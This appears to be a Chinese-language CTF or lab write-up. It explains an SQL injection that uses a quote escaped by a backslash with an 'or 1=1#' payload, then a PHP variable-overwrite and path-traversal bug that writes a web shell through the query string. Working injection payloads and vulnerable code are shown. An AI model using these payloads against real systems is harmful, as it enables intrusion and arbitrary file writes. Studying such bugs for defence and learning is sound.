此时因为有了\,那么后面的’就被转义了,因此可以直接写:
user=1234567890123456789'&passwd=or 1=1#
拼合在sql语句里就是:
select count§ from user where user = ‘1234567890123456789’ AND password = ’ or 1=1#’
此时,加粗的字段是user,后面变成了永真,可进行sql注入
<?php
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;
public function __construct($input) {//构造函数传值
$this->id = rand(1, 1000);//id取随机数
foreach ($input as $field => $count) {//赋值给count
$this->$field = $count++;//count++
}
}
public function __destruct() {//构析函数
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);//函数写入,内容为this这个数组里面的东西,这里通过input的传值可传入shell
}
}
$carrot = new Carrot($_GET);
?>
初步判定,可以通过修改id为路径,输入的值为shell的形式进行写入shell,实现任意文件写入
官方语言说这是变量覆盖 与 路径穿越 的利用:
由于在将随机数赋给id之后,又用来foreach遍历赋值,所以实际上input是覆盖了之前的id变量,导致我们可以写入
payload:
?id=../var/www/html/shell.php&shell=',)%0a<?php phpinfo();?>//
这里的shell=’,)是为了与前面闭合
直接放源代码,测试如下: